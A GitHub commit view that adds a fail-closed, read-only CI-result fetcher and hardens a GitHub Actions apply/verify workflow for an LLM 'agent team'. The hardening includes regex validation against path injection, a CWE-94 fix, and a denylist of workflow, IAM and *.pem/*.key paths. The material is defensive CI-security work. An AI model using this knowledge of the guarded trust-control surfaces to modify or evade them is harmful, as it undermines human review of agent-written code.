feat(agent-team): P3-live CI apply/verify hardening + ci_fetcher (gate-passed, provisioning-gated) (#17)

* feat(agent-team): read-only CI-result fetcher for P3 verify gate (opt-in, inert)

ci_fetcher.py: fail-closed CiResultFetcher reading the GitHub Actions run
conclusion via a read-only PAT (AGENT_TEAM_CI_READ_TOKEN→GITHUB_TOKEN), returns
{run_id,conclusion,diff_hash} or None on any error. Data-fetcher only — ci_gate
owns the verdict; never writes, no OIDC/AWS, never reads patch artifacts.
coordinator gains opt-in gated_build_verify_wiring() composing it via
bind_ci_result_fetcher; NOT wired into the default run-team.py path. 20 tests.

* harden(agent-team): P3 apply/verify workflow — GitHub App token, CWE-94, fail-closed

Decision-1 auth model: gate-and-pr uses a GitHub App installation token
(pull-requests:write) behind the agent-apply environment; ALL OIDC/id-token/AWS
removed. Hardening: task_id env-indirection (CWE-94 — GitHub expands ${{ }} into
the run shell before exec, so %s/quoting is insufficient); run-id pinning on both
download-artifact; post-build denied-path check (build-hook writes into denied
paths fail the job); empty-hash fail-closed in BOTH the embedded gate (fixed a
real ''=='' pass bug) and ci_gate.py. App-token + draft-PR steps stay if:${{ false }}
until provisioning (App + environment + branch protection). +17 tests.

* harden(agent-team): apply P3-live security-gate fixes (GPT-4.1 xreview + sh-security-review)

BLOCK-1/FIX-4: gate-and-pr re-comments pull-requests:write + environment:agent-apply
(provisioning-time uncomment) and gains needs.guard/build-test=='success' job guard —
zero privilege until provisioning. BLOCK-2/3+FIX-5: ci_fetcher validates run_id (^[0-9]{1,20}$),
owner/repo (^[A-Za-z0-9_.-]{1,100}$), and fetched_id (int) — fail closed, no SSRF/path
injection. FIX-1: conclusion allowlist. FIX-3: api_root removed from public builder (no
injectable endpoint). INJ-02: post-build denied-path check uses NUL-delimited git output +
explicit rename parsing, no backslash mangling, non-UTF8=violation. INJ-03: all three trust-
control denylists unified to one 22-entry union + drift-guard test. Q1: documented run_id/
diff_hash trust source (dispatcher/ledger only). 884 tests, ruff clean. Privileged steps stay
if:${{ false }} until provisioning.

* build(security-review): prune .claude worktrees from deterministic scanners

Agent worktrees under .claude/worktrees/ are full repo copies; the cfn-lint
find|xargs template scan overflowed ('command line cannot be assembled') and the
pre-push hook fail-closed to BLOCK whenever a worktree was present. Prune .claude
in the cfn-lint find + semgrep/checkov excludes, and gitignore .claude/ so it is
never scanned or committed. Unblocks main-tree pushes during parallel agent work.
This commit is contained in:
Adam Moussa 2026-06-18 15:53:26 -04:00 • committed by GitHub
parent f09c94a821
commit 3d97139300
No known key found for this signature in database
GPG key ID: B5690EEEBB952194
11 changed files with 1791 additions and 55 deletions

3
.gitignore vendored
View file

@ -10,3 +10,6 @@ __pycache__/
# Stray Atlassian Document Format exports left by an unrelated tool — not part of this repo. # Stray Atlassian Document Format exports left by an unrelated tool — not part of this repo.
.adf_final*.json .adf_final*.json
# Claude Code agent worktrees / local scratch (never scanned or committed)
.claude/

View file

@ -0,0 +1,365 @@
"""Real, read-only CI-result fetcher — the GATED-LIVE seam for VERIFY (§3.3.2 #4).
This module implements the production :data:`~agent_team.nodes.build_verify_subgraph.CiResultFetcher`
that the build->verify subgraph's VERIFY node injects once the §3.3.2 CI
trust-boundary clears ``/sh-security-review`` + the GPT-4.1 cross-review. Until
then the subgraph runs with the INERT default fetcher (``_no_ci_result`` -> the
gate BLOCKs and the task parks); binding THIS fetcher only gives the pure-code
gate (:func:`agent_team.ci_gate.evaluate_ci_gate`) an authenticated conclusion
to read — it never makes the LLM the pass authority.
What it is (and, just as importantly, what it is NOT):
* It is a **pure DATA fetcher.** Given the task ``state``, it reads
``state["run_id"]`` (and echoes ``state.get("diff_hash")``), calls the GitHub
Actions REST API ``GET /repos/{owner}/{repo}/actions/runs/{run_id}`` with a
**READ-ONLY** token, and returns the authenticated run ``conclusion`` as a
mapping ``{"run_id", "conclusion", "diff_hash"}``. The gate owns the verdict;
this module never derives pass/fail itself.
* It is **fail-closed.** ANY error — missing ``run_id``, missing token, 404,
auth failure, malformed JSON, a network/timeout error, an unexpected status —
returns ``None``. A ``None`` result makes the gate BLOCK (never a silent
pass), so a broken fetch parks the task for a human rather than shipping.
* It **never writes.** No ``POST``/``PATCH``, no ``git``, no patch apply, no
filesystem mutation. It performs exactly one read-only GET.
* It uses **no cloud credentials and no token-federation** — only a GitHub
read-only token, resolved at CALL time from the environment (matching the
prevailing transport idiom in :mod:`agent_team.transport.github_live`). It
NEVER reads a success/failure file the patch could have written (boundary 4).
Prevailing HTTP approach: mirrors :mod:`agent_team.transport.github_live` — a
thin ``requests`` session, deferred import (``requests`` is optional and may be
absent pre-deploy), call-time token resolution, and an injectable ``client`` for
testability. Unlike the poster, a missing token / missing ``requests`` here does
NOT raise: it fails closed to ``None`` so the gate BLOCKs (the fetcher's whole
contract is "no authenticated result -> None"). The dedicated read-only env var
``AGENT_TEAM_CI_READ_TOKEN`` is preferred, falling back to ``GITHUB_TOKEN``.
"""
from __future__ import annotations
import logging
import os
import re
from collections.abc import Mapping
from typing import Any
from agent_team.nodes.build_verify_subgraph import CiResultFetcher
__all__ = [
"CI_READ_TOKEN_ENV",
"GITHUB_API_ROOT",
"build_ci_result_fetcher",
"fetch_ci_result",
]
_LOG = logging.getLogger("agent_team.ci_fetcher")
# ───────────────────────────────────────────────────────────────────────────
# TRUST SOURCE (design §3.3.2, QUESTION-1). ``state["run_id"]`` and
# ``state["diff_hash"]`` are TRUSTED inputs to this fetcher and the pure-code
# gate: they MUST be written ONLY by the trusted dispatcher / ledger at dispatch
# time — NEVER by an LLM/builder/verifier node or by anything a candidate diff
# can influence. The dispatcher records the run id it dispatched the apply/verify
# workflow under (and the ledger-recorded diff hash) into task state; the LLM
# build/verify nodes only READ them. If that ever changes, the run_id format
# validation below (fail-closed) plus the gate's run-id EQUALITY check
# (:func:`agent_team.ci_gate.evaluate_ci_gate`, which compares the fetched run id
# against the dispatcher's ``expected_run_id``) are the defense: an attacker who
# could rewrite ``state["run_id"]`` to point at a different (passing) run would
# still have to match the dispatcher's expected_run_id, and a malformed/injected
# value fails the regex and returns None -> gate BLOCK.
# ───────────────────────────────────────────────────────────────────────────
# A GitHub Actions run id is a positive integer. Validate the state-supplied
# run_id against this BEFORE building any URL: a non-numeric value is either a
# bug or an injection attempt (it would be path-spliced into the API URL), so we
# fail closed (-> None -> gate BLOCK) rather than fetch an attacker-chosen path.
_RUN_ID_RE = re.compile(r"[0-9]{1,20}")
# owner / repo path segments. GitHub restricts these to a conservative charset;
# we validate both before URL construction so a crafted owner/repo cannot splice
# extra path segments / traversal into the GitHub API URL. Fail closed on miss.
_OWNER_REPO_RE = re.compile(r"[A-Za-z0-9_.-]{1,100}")
# Authenticated GitHub run conclusions we recognise. An unrecognised/missing
# conclusion is ambiguous and must fail closed here (the gate also BLOCKs on
# unknowns; validating at the fetcher makes the trust boundary explicit). Keep
# this in sync with agent_team.ci_gate's PASS + _FAILURE_CONCLUSIONS plus the
# benign non-failure values GitHub can return.
_ALLOWED_CONCLUSIONS: frozenset[str] = frozenset(
{
"success",
"failure",
"cancelled",
"skipped",
"timed_out",
"action_required",
"neutral",
"stale",
"startup_failure",
}
)
# The dedicated read-only token env var (preferred), falling back to the generic
# GITHUB_TOKEN (the idiom github_live uses). The token MUST be read-only — the
# fetcher only ever GETs; a write-scoped token here would be unnecessary blast
# radius (provisioning issues a read-only fine-grained PAT / read-only var).
CI_READ_TOKEN_ENV = "AGENT_TEAM_CI_READ_TOKEN"
_FALLBACK_TOKEN_ENV = "GITHUB_TOKEN"
GITHUB_API_ROOT = "https://api.github.com"
# Conservative default timeout for the single read-only GET. A hang must fail
# closed (-> None -> gate BLOCK), never wedge the verifier.
_DEFAULT_TIMEOUT_S = 15.0
def _resolve_read_token() -> str | None:
"""Resolve the read-only GitHub token at call time, or ``None``.
Prefers :data:`CI_READ_TOKEN_ENV`, falls back to ``GITHUB_TOKEN``. Returns
``None`` when neither is set so the fetcher fails closed (the caller maps a
missing token to a ``None`` result -> gate BLOCK), rather than raising.
"""
return os.environ.get(CI_READ_TOKEN_ENV) or os.environ.get(_FALLBACK_TOKEN_ENV)
def _build_session(token: str) -> Any:
"""Lazily construct a read-only ``requests.Session`` (deferred optional import).
Mirrors :func:`agent_team.transport.github_live._build_session` (deferred
``requests`` import, ``Authorization: Bearer`` + the API-version header). The
session is used for exactly one GET; no write verbs are ever issued.
Raises :class:`RuntimeError` only if ``requests`` is unavailable — the caller
catches it and fails closed to ``None`` so a pre-deploy environment without
the optional dependency simply BLOCKs (never a spurious pass).
"""
import requests # deferred: optional dependency (see module docstring)
session = requests.Session()
session.headers.update(
{
"Authorization": f"Bearer {token}",
"Accept": "application/vnd.github+json",
"X-GitHub-Api-Version": "2022-11-28",
}
)
return session
def fetch_ci_result(
state: Mapping[str, Any],
*,
owner: str,
repo: str,
client: Any = None,
api_root: str = GITHUB_API_ROOT,
timeout: float = _DEFAULT_TIMEOUT_S,
) -> dict[str, Any] | None:
"""Fetch the authenticated CI run conclusion as DATA, or ``None`` (fail-closed).
Reads ``state["run_id"]`` (required) and echoes ``state.get("diff_hash")``,
then GETs ``{api_root}/repos/{owner}/{repo}/actions/runs/{run_id}`` with the
read-only token and returns::
{"run_id": <str>, "conclusion": <str>, "diff_hash": <echoed-or-None>}
Returns ``None`` on ANY failure — no ``run_id`` in state, no resolvable
token, ``requests`` unavailable, a non-2xx status (404/401/403/...), a
malformed/absent JSON body, a missing ``conclusion``, or a network/timeout
error. ``None`` is the fail-closed signal: the pure-code gate treats it as
"no authenticated result" and BLOCKs, so a broken fetch parks the task. This
function NEVER derives the verdict (the gate owns pass/fail) and NEVER
writes.
``client`` injects a pre-built ``requests``-like session for tests (any
object with ``get(url, *, timeout) -> response`` exposing ``status_code``
and ``json()``). When omitted, a read-only session is built from the
resolved token.
"""
run_id = state.get("run_id")
if run_id is None or str(run_id) == "":
_LOG.warning("ci_fetcher: no run_id in state; failing closed to None")
return None
run_id = str(run_id)
# BLOCK-2: validate the run id BEFORE it is spliced into the API URL. A GitHub
# run id is a positive integer; anything else is a bug or a path-injection
# attempt -> fail closed. (See the TRUST SOURCE note: state["run_id"] is a
# trusted dispatcher input, but we validate it as defense-in-depth.)
if not _RUN_ID_RE.fullmatch(run_id):
_LOG.warning(
"ci_fetcher: run_id %r is not a valid integer run id; failing closed",
run_id,
)
return None
# BLOCK-3: validate owner/repo before URL construction so a crafted value
# cannot splice extra path segments / traversal into the GitHub API URL.
for _name, _value in (("owner", owner), ("repo", repo)):
if not _OWNER_REPO_RE.fullmatch(_value):
_LOG.warning(
"ci_fetcher: %s %r is not a valid GitHub path segment; failing closed",
_name,
_value,
)
return None
echoed_hash = state.get("diff_hash")
if client is None:
token = _resolve_read_token()
if not token:
_LOG.warning(
"ci_fetcher: no read-only token (%s/%s) set; failing closed to None",
CI_READ_TOKEN_ENV,
_FALLBACK_TOKEN_ENV,
)
return None
try:
client = _build_session(token)
except Exception: # noqa: BLE001 - any build failure fails closed
_LOG.warning("ci_fetcher: could not build HTTP client; failing closed")
return None
url = f"{api_root.rstrip('/')}/repos/{owner}/{repo}/actions/runs/{run_id}"
try:
response = client.get(url, timeout=timeout)
except Exception: # noqa: BLE001 - timeout / connection / any -> fail closed
_LOG.warning("ci_fetcher: GET %s failed (network/timeout); failing closed", url)
return None
status = _status_of(response)
if status is None or not (200 <= status < 300):
_LOG.warning("ci_fetcher: run GET returned status %r; failing closed", status)
return None
data = _json_of(response)
if not isinstance(data, dict):
_LOG.warning("ci_fetcher: run body was not a JSON object; failing closed")
return None
conclusion = data.get("conclusion")
# An in-progress run has conclusion=None; that is NOT an authenticated
# verdict, so fail closed (the gate would BLOCK on it anyway, but returning
# None keeps the "no result" contract clean and avoids echoing a non-verdict).
if conclusion is None or not isinstance(conclusion, str):
_LOG.info("ci_fetcher: run %s has no conclusion yet; failing closed", run_id)
return None
# FIX-1: allowlist the conclusion. GitHub returns a fixed set of conclusion
# strings; an unrecognised value is ambiguous (a new GitHub state, a typo, or
# an injected value) and must fail closed here rather than be laundered to the
# gate. (The gate also BLOCKs unknowns; this makes the boundary explicit.)
normalized_conclusion = conclusion.strip().lower()
if normalized_conclusion not in _ALLOWED_CONCLUSIONS:
_LOG.warning(
"ci_fetcher: run %s has unrecognised conclusion %r; failing closed",
run_id,
conclusion,
)
return None
# Bind the returned run_id to the run actually fetched (the API echoes id);
# fall back to the requested (already-validated) run_id. The gate
# independently re-checks this against expected_run_id, so this is provenance,
# not the trust decision.
#
# FIX-5: the API ``id`` must be an integer / integer-string before it is used
# as the result run id; we do NOT launder an arbitrary string. An int is
# accepted; a digit-only string is accepted; anything else falls back to the
# already-validated requested run_id rather than propagating an unvalidated
# value into the gate's run-id equality check.
fetched_id = data.get("id")
if isinstance(fetched_id, bool):
# bool is an int subclass; a JSON ``true``/``false`` id is not a run id.
result_run_id = run_id
elif isinstance(fetched_id, int):
result_run_id = str(fetched_id)
elif isinstance(fetched_id, str) and _RUN_ID_RE.fullmatch(fetched_id):
result_run_id = fetched_id
else:
result_run_id = run_id
return {
"run_id": result_run_id,
"conclusion": normalized_conclusion,
"diff_hash": echoed_hash,
}
def build_ci_result_fetcher(
*,
owner: str,
repo: str,
client: Any = None,
timeout: float = _DEFAULT_TIMEOUT_S,
) -> CiResultFetcher:
"""Build a :data:`CiResultFetcher` bound to ``owner``/``repo`` (GATED-LIVE seam).
Returns a single-argument ``state -> mapping | None`` callable shaped exactly
like the VERIFY node's injected ``ci_result_fetcher`` seam, closing over the
target ``owner``/``repo`` (and the optional injected ``client`` / ``timeout``).
Compose it with
:func:`agent_team.nodes.build_verify_subgraph.bind_ci_result_fetcher` (or the
opt-in :func:`agent_team.coordinator.gated_build_verify_wiring`) once the
§3.3.2 gate clears. It is read-only and fails closed (see
:func:`fetch_ci_result`); binding it does not enable any apply/verify
behaviour, it only gives the gate an authenticated conclusion to read.
FIX-3: the production path does NOT accept a caller-overridable ``api_root``.
The GitHub API host is hardcoded to :data:`GITHUB_API_ROOT` so a caller (and
anything that influences the coordinator's wiring) cannot redirect the
read-only GET at an attacker-controlled host. ``fetch_ci_result`` retains an
``api_root`` kwarg for unit tests only; it is unreachable from this production
builder (and therefore from :func:`agent_team.coordinator.gated_build_verify_wiring`).
"""
def fetcher(state: Mapping[str, Any]) -> dict[str, Any] | None:
return fetch_ci_result(
state,
owner=owner,
repo=repo,
client=client,
# api_root deliberately NOT forwarded: hardcoded GITHUB_API_ROOT in
# the production path (FIX-3). Only the test-only direct caller of
# fetch_ci_result may override it.
timeout=timeout,
)
return fetcher
def _status_of(response: Any) -> int | None:
"""Read the HTTP status from a ``requests``-like response, or ``None``.
Accepts ``status_code`` (``requests``) or ``status`` (a minimal fake).
Returns ``None`` if neither is present so the caller fails closed rather than
raising on an exotic object.
"""
for attr in ("status_code", "status"):
value = getattr(response, attr, None)
if value is not None:
try:
return int(value)
except (TypeError, ValueError):
return None
return None
def _json_of(response: Any) -> Any:
"""Parse the JSON body of a ``requests``-like response, or ``None`` on failure.
A malformed/absent body must fail closed (-> ``None`` -> the caller returns
``None`` -> gate BLOCK), never raise into the verifier node.
"""
parser = getattr(response, "json", None)
if not callable(parser):
return None
try:
return parser()
except Exception: # noqa: BLE001 - any JSON decode error fails closed
return None

View file

@ -39,6 +39,18 @@ Decision semantics (a diff "ships" only on an unambiguous authenticated pass):
* :data:`GateDecision.BLOCK` — a trust violation (denylist hit, hash mismatch, * :data:`GateDecision.BLOCK` — a trust violation (denylist hit, hash mismatch,
run-id mismatch, missing/ambiguous authenticated conclusion). This is an run-id mismatch, missing/ambiguous authenticated conclusion). This is an
ALARM-worthy refuse-to-proceed, never a silent pass. ALARM-worthy refuse-to-proceed, never a silent pass.
TRUST SOURCE (§3.3.2, QUESTION-1). ``state["run_id"]`` (the run id the fetcher
reads and the value compared against ``expected_run_id`` here) and
``state["diff_hash"]`` MUST be written ONLY by the trusted dispatcher / ledger at
dispatch time — NEVER by an LLM / builder / verifier node or by anything a
candidate diff can influence. The dispatcher records the run id it dispatched the
apply/verify workflow under (and the ledger-recorded diff hash); the LLM nodes
only read them. The gate's run-id EQUALITY check below (``actual_run_id`` vs the
dispatcher-supplied ``expected_run_id``) plus the fetcher's run_id format
validation are the defense if that assumption is ever broken: a tampered
``state["run_id"]`` would still have to equal the dispatcher's expected run id to
pass, and a malformed value fails closed.
""" """
from __future__ import annotations from __future__ import annotations
@ -85,12 +97,19 @@ class GateDecision(Enum):
# touches any of these is escalated to mandatory human + GPT cross-review, never # touches any of these is escalated to mandatory human + GPT cross-review, never
# auto-built — they are the mandatory-cross-review surface regardless. Globs are # auto-built — they are the mandatory-cross-review surface regardless. Globs are
# matched against POSIX-canonicalized repo-relative paths. # matched against POSIX-canonicalized repo-relative paths.
# INJ-03: this denylist is the UNION SUPERSET shared verbatim across all three
# trust-control copies — this tuple, the guard-job inline DENY_GLOBS, and the
# post-build inline DENY_GLOBS in ci/agent-team-apply-verify.yml. The three had
# drifted in BOTH directions (each carried entries the others lacked); they are
# now identical, and tests/test_apply_verify_workflow_hardening.py asserts the
# identity so any future drift fails CI. When editing one, edit all three.
DENYLIST_GLOBS: tuple[str, ...] = ( DENYLIST_GLOBS: tuple[str, ...] = (
# CI workflow definitions — the "pwn request" surface. # CI workflow definitions — the "pwn request" surface.
".github/workflows/**", ".github/workflows/**",
".github/actions/**", ".github/actions/**",
# Branch protection / ownership / dependency automation config. # Branch protection / ownership / dependency automation config.
".github/CODEOWNERS", ".github/CODEOWNERS",
"**/CODEOWNERS",
"CODEOWNERS", "CODEOWNERS",
".github/dependabot.yml", ".github/dependabot.yml",
".github/dependabot.yaml", ".github/dependabot.yaml",
@ -101,9 +120,15 @@ DENYLIST_GLOBS: tuple[str, ...] = (
"**/template.yaml", "**/template.yaml",
"**/samconfig.toml", "**/samconfig.toml",
"**/*.tf", "**/*.tf",
"**/*-stack.ts",
"**/*_stack.py",
"**/iam/**", "**/iam/**",
"**/policies/**", "**/policies/**",
"**/*iam*",
"**/policy*.json",
"**/*policy*.json", "**/*policy*.json",
"**/*.pem",
"**/*.key",
) )
# Authenticated GitHub run conclusions that count as a recognised failure (the # Authenticated GitHub run conclusions that count as a recognised failure (the

View file

@ -68,6 +68,7 @@ __all__ = [
"Coordinator", "Coordinator",
"build_verify_wiring", "build_verify_wiring",
"default_clarify_node_factory", "default_clarify_node_factory",
"gated_build_verify_wiring",
] ]
_LOG = logging.getLogger("agent_team.coordinator") _LOG = logging.getLogger("agent_team.coordinator")
@ -254,6 +255,62 @@ def build_verify_wiring() -> tuple[
return build_node, verify_node, route_after_verify return build_node, verify_node, route_after_verify
def gated_build_verify_wiring(
*,
owner: str,
repo: str,
expected_run_id: str,
allowed_scope: list[str] | None = None,
diff_builder: Any = None,
ci_client: Any = None,
) -> tuple[
Callable[[PipelineState], "dict[str, Any]"],
Callable[[PipelineState], PipelineState],
Callable[[PipelineState], str],
]:
"""Compose the GATED-LIVE P3 build->verify subgraph (OPT-IN; held for the gate).
The live counterpart to :func:`build_verify_wiring`: it binds the REAL
read-only CI-result fetcher (:func:`agent_team.ci_fetcher.build_ci_result_fetcher`)
onto the VERIFY node so the pure-code gate has an authenticated conclusion to
read, and (optionally) a real ``diff_builder`` onto the BUILD node. The gate
still owns pass/fail — binding the fetcher only GIVES it a result, it can
never make the LLM the pass authority.
**This is OPT-IN and is deliberately NOT wired into the default
``run-team.py`` / ``serve`` path** (exactly like :func:`build_verify_wiring`).
It is the seam a leaf calls AFTER the §3.3.2 CI trust boundary clears
``/sh-security-review`` + the GPT-4.1 cross-review and the GitHub App +
``agent-apply`` environment are provisioned. Until then, importing or holding
this function changes nothing: the production coordinator passes
``build_verify_wiring=None``, so no P3 subgraph is assembled at all.
The CI fetcher is read-only and fails closed: a missing token / 404 / auth
failure / malformed body / timeout yields ``None`` and the gate BLOCKs (the
task parks). ``ci_client`` injects a test double; the real path builds a
read-only ``requests`` session at call time from the read-only token env var.
Lazy-imported (ci_fetcher pulls the subgraph + verifier leaves) for the same
import-hygiene reason as the other factories.
"""
from agent_team.ci_fetcher import build_ci_result_fetcher
from agent_team.nodes.build_verify_subgraph import (
make_build_node,
make_verify_node,
route_after_verify,
)
from agent_team.nodes.verifier import VerifierConfig
config = VerifierConfig(
expected_run_id=expected_run_id,
allowed_scope=allowed_scope,
)
fetcher = build_ci_result_fetcher(owner=owner, repo=repo, client=ci_client)
build_node = make_build_node(diff_builder=diff_builder)
verify_node = make_verify_node(config, ci_result_fetcher=fetcher)
return build_node, verify_node, route_after_verify
class Coordinator: class Coordinator:
"""Owns the live Plane-2 runtime: graph + resume worker + transport (§3.3). """Owns the live Plane-2 runtime: graph + resume worker + transport (§3.3).

View file

@ -6,12 +6,20 @@ holds the **split-job CI apply/verify workflow** that turns a builder agent's
boundary, Phase P3 (§7.1) of `../../docs/r720-agent-team-design.md`. boundary, Phase P3 (§7.1) of `../../docs/r720-agent-team-design.md`.
> **STATUS: DEPLOY-GATED. NOT ENABLED, NOT PROVISIONED.** This is authored as > **STATUS: DEPLOY-GATED. NOT ENABLED, NOT PROVISIONED.** This is authored as
> files only. Per the design (§3.3.2, §7.1 P3) the workflow + its OIDC role must > files only. Per the design (§3.3.2, §7.1 P3) the workflow must clear **BOTH
> clear **BOTH `/sh-security-review` AND the mandatory GPT-4.1 cross-review** > `/sh-security-review` AND the mandatory GPT-4.1 cross-review** before
> before deployment, because it is IaC/IAM + untrusted-input handling. The > deployment, because it is untrusted-input handling + a CI trust boundary. The
> privileged draft-PR step is hard-disabled (`if: ${{ false }}`) and the OIDC > privileged draft-PR step is hard-disabled (`if: ${{ false }}`); the ONLY
> `id-token`/`pull-requests: write` grants are left commented until those gates > remaining step to go live is the **provisioning flip** (create the GitHub App,
> pass. Nothing here is wired to a live org repo. > the `agent-apply` environment with a required reviewer, and branch protection,
> then flip the step's `if:`). Nothing here is wired to a live org repo.
>
> **AUTH MODEL (LOCKED): GitHub App installation token — ZERO cloud credentials,
> no token-federation.** The privileged `gate-and-pr` job authenticates with a
> GitHub App installation token (`pull-requests: write`) minted at run time by
> SHA-pinned `actions/create-github-app-token`. There is **no AWS and no
> cloud-OIDC** anywhere in this workflow. The required human reviewer lives on
> the `agent-apply` GitHub Environment (configured at provisioning, not in YAML).
## Files ## Files
@ -22,7 +30,8 @@ boundary, Phase P3 (§7.1) of `../../docs/r720-agent-team-design.md`.
The filename is kebab-case per the handbook. Deployment target (later, after the The filename is kebab-case per the handbook. Deployment target (later, after the
gates): promote into `Sea-Haven-Industries/.github` as a reusable workflow gates): promote into `Sea-Haven-Industries/.github` as a reusable workflow
(`engineering-handbook/cicd.md`); the Option-B OIDC apply path invokes it. (`engineering-handbook/cicd.md`); the trusted apply path (which owns the GitHub
App write token) invokes it.
## The trust boundary (design §3.3.2) ## The trust boundary (design §3.3.2)
@ -34,13 +43,17 @@ implements all five boundaries:
1. **Split CI — untrusted execution is credential-less.** The job that checks 1. **Split CI — untrusted execution is credential-less.** The job that checks
out and runs the diff (`build-test`) runs with `permissions: contents: read`, out and runs the diff (`build-test`) runs with `permissions: contents: read`,
**no secrets, no OIDC, no write token**, and egress blocked **no secrets, no App token, no write token**, and egress blocked
(harden-runner). The patch executes only there, where there is nothing to (harden-runner). The patch executes only there, where there is nothing to
steal and nothing to assume. Every privileged action (the eventual OIDC role, steal and nothing to assume. Every privileged action (the GitHub App token
the draft-PR open) runs in a **separate `gate-and-pr` job that never checks mint, the draft-PR open) runs in a **separate `gate-and-pr` job that never
out or executes patch-controlled code** — it consumes the build/test report checks out or executes patch-controlled code** — it consumes the build/test
as **data only**. There is **no `pull_request_target` + head-ref checkout** report as **data only**. There is **no `pull_request_target` + head-ref
(the "pwn request" anti-pattern). checkout** (the "pwn request" anti-pattern). The `build-test` job also runs a
**post-build denied-path check**: after the build/test step, it diffs the
working tree against the committed patched baseline and fails if a build hook
(setup.py, conftest, postinstall, Makefile) wrote into the trust-control
surface or out of declared scope — closing the build-hook write vector.
2. **Trust-control-surface denylist (CI-side hard fail).** The `guard` job 2. **Trust-control-surface denylist (CI-side hard fail).** The `guard` job
rejects any diff that touches `.github/workflows/**`, IAM/policy IaC rejects any diff that touches `.github/workflows/**`, IAM/policy IaC
(CDK/SAM/Terraform), branch-protection / `CODEOWNERS` / Dependabot config, or (CDK/SAM/Terraform), branch-protection / `CODEOWNERS` / Dependabot config, or
@ -88,7 +101,7 @@ workflow_dispatch (task_id, diff_artifact_name, expected_diff_hash, declared_sco
(boundaries 2,3) re-hash + denylist + scope. Never applies it. (boundaries 2,3) re-hash + denylist + scope. Never applies it.
│ (needs) │ (needs)
▼ ▼
build-test contents:read, no secrets, no OIDC, egress blocked — build-test contents:read, no secrets, no App token, egress blocked —
(boundary 1) the ONLY job that applies + runs the UNTRUSTED patch. (boundary 1) the ONLY job that applies + runs the UNTRUSTED patch.
│ (needs) Emits a NON-authoritative report artifact. │ (needs) Emits a NON-authoritative report artifact.
▼ ▼
@ -112,6 +125,7 @@ tag in a trailing comment:
| `actions/download-artifact` | `fa0a91b85d4f404e444e00e005971372dc801d16` | v4.1.8 | | `actions/download-artifact` | `fa0a91b85d4f404e444e00e005971372dc801d16` | v4.1.8 |
| `actions/upload-artifact` | `b4b15b8c7c6ac21ea08fcf65892d2ee8f75cf882` | v4.4.3 | | `actions/upload-artifact` | `b4b15b8c7c6ac21ea08fcf65892d2ee8f75cf882` | v4.4.3 |
| `actions/setup-python` | `0b93645e9fea7318ecaed2b359559ac225c90a2b` | v5.3.0 | | `actions/setup-python` | `0b93645e9fea7318ecaed2b359559ac225c90a2b` | v5.3.0 |
| `actions/create-github-app-token` | `5d869da34e18e7287c1daad50e0b8ea0f506ce69` | v1.11.0 |
| `step-security/harden-runner` | `0080882f6c36860b6ba35c610c98ce87d4e2f26f` | v2.10.2 | | `step-security/harden-runner` | `0080882f6c36860b6ba35c610c98ce87d4e2f26f` | v2.10.2 |
## Relationship to the foundation ## Relationship to the foundation
@ -146,10 +160,25 @@ gate is "verified" is therefore backed by that test, not by authoring alone.)
Before this ships (§3.3.2, §7.1 P3): Before this ships (§3.3.2, §7.1 P3):
1. `/sh-security-review` over this workflow (IaC + untrusted-input handling). 1. `/sh-security-review` over this workflow (untrusted-input handling + CI
2. Mandatory **GPT-4.1 cross-review** of the workflow **and** the Option-B OIDC trust boundary).
role it will assume (IAM change). 2. Mandatory **GPT-4.1 cross-review** of the workflow. (No IAM/cloud role is
3. A documented, **exercised** rollback (remove the role, revert the workflow). involved — the auth model is a GitHub App installation token, not OIDC/AWS.)
4. Only then: uncomment the `id-token` / `pull-requests: write` grants, enable 3. **Provisioning** (the single remaining step to go live):
the draft-PR step, and promote to `Sea-Haven-Industries/.github`. Draft PRs - Create the GitHub App with a single permission (`pull-requests: write`),
only; never auto-merge. install it on the target repo, and store its id + private key as the
`AGENT_APPLY_APP_ID` / `AGENT_APPLY_APP_PRIVATE_KEY` secrets.
- Create the `agent-apply` GitHub Environment with a **required reviewer**
(and optional wait timer) — this is the human gate, configured on the
Environment, not in YAML.
- Configure **branch protection** on the target branch (required checks +
human approval).
- Issue the **read-only** token for the CI-result fetcher
(`AGENT_TEAM_CI_READ_TOKEN`, falling back to `GITHUB_TOKEN`).
4. A documented, **exercised** rollback (uninstall the App, remove the
environment, revert the workflow).
5. Only then: flip the App-token + draft-PR steps' `if: ${{ false }}` to the
live condition documented in the workflow
(`always() && needs.guard.result=='success' &&
needs.build-test.result=='success' && steps.gate.outputs.gate=='pass'`), and
promote to `Sea-Haven-Industries/.github`. Draft PRs only; never auto-merge.

View file

@ -6,10 +6,21 @@
# mandatory GPT-4.1 cross-review before it is deployed (it is IaC/IAM + # mandatory GPT-4.1 cross-review before it is deployed (it is IaC/IAM +
# untrusted-input handling). Until then it lives here as a reviewable artifact. # untrusted-input handling). Until then it lives here as a reviewable artifact.
# #
# AUTH MODEL (LOCKED, P3-live): the privileged job authenticates via a GitHub
# App INSTALLATION TOKEN with `pull-requests: write` — there are ZERO cloud
# credentials and no cloud token-federation anywhere in this workflow. The
# required human-reviewer gate lives on the `agent-apply` GitHub Environment
# (configured at provisioning, not in YAML).
#
# Deployment target (later, after the gates): promote into # Deployment target (later, after the gates): promote into
# Sea-Haven-Industries/.github as a reusable workflow (engineering-handbook # Sea-Haven-Industries/.github as a reusable workflow (engineering-handbook
# cicd.md) and have the Option-B OIDC apply path call it. The filename stays # cicd.md) and have the apply path call it. The filename stays kebab-case per
# kebab-case per the handbook. # the handbook. PROVISIONING (the ONLY remaining step to go live) creates the
# GitHub App + its installation, the `agent-apply` environment with a required
# reviewer + branch protection, then flips the draft-PR step's `if:` (see the
# provisioning runbook). Flipping live against a non-existent environment is an
# unprotected hole, so the flip is a deliberate provisioning action, not authored
# here.
# #
# ───────────────────────────────────────────────────────────────────────────── # ─────────────────────────────────────────────────────────────────────────────
# TRUST BOUNDARY (design §3.3.2). The builder agents are semi-trusted: an LLM # TRUST BOUNDARY (design §3.3.2). The builder agents are semi-trusted: an LLM
@ -18,8 +29,8 @@
# #
# 1. Split CI. The job that checks out + executes the patch (`build-test`) # 1. Split CI. The job that checks out + executes the patch (`build-test`)
# runs credential-less (`permissions: contents: read`, no secrets, no # runs credential-less (`permissions: contents: read`, no secrets, no
# OIDC, no write token, egress-restricted). Every privileged action runs # App token, no write token, egress-restricted). Every privileged action
# in a SEPARATE job (`gate-and-pr`) that NEVER checks out or runs # runs in a SEPARATE job (`gate-and-pr`) that NEVER checks out or runs
# patch-controlled code; it consumes the build/test report as DATA only. # patch-controlled code; it consumes the build/test report as DATA only.
# This is NOT `pull_request_target` with a head-ref checkout (pwn request). # This is NOT `pull_request_target` with a head-ref checkout (pwn request).
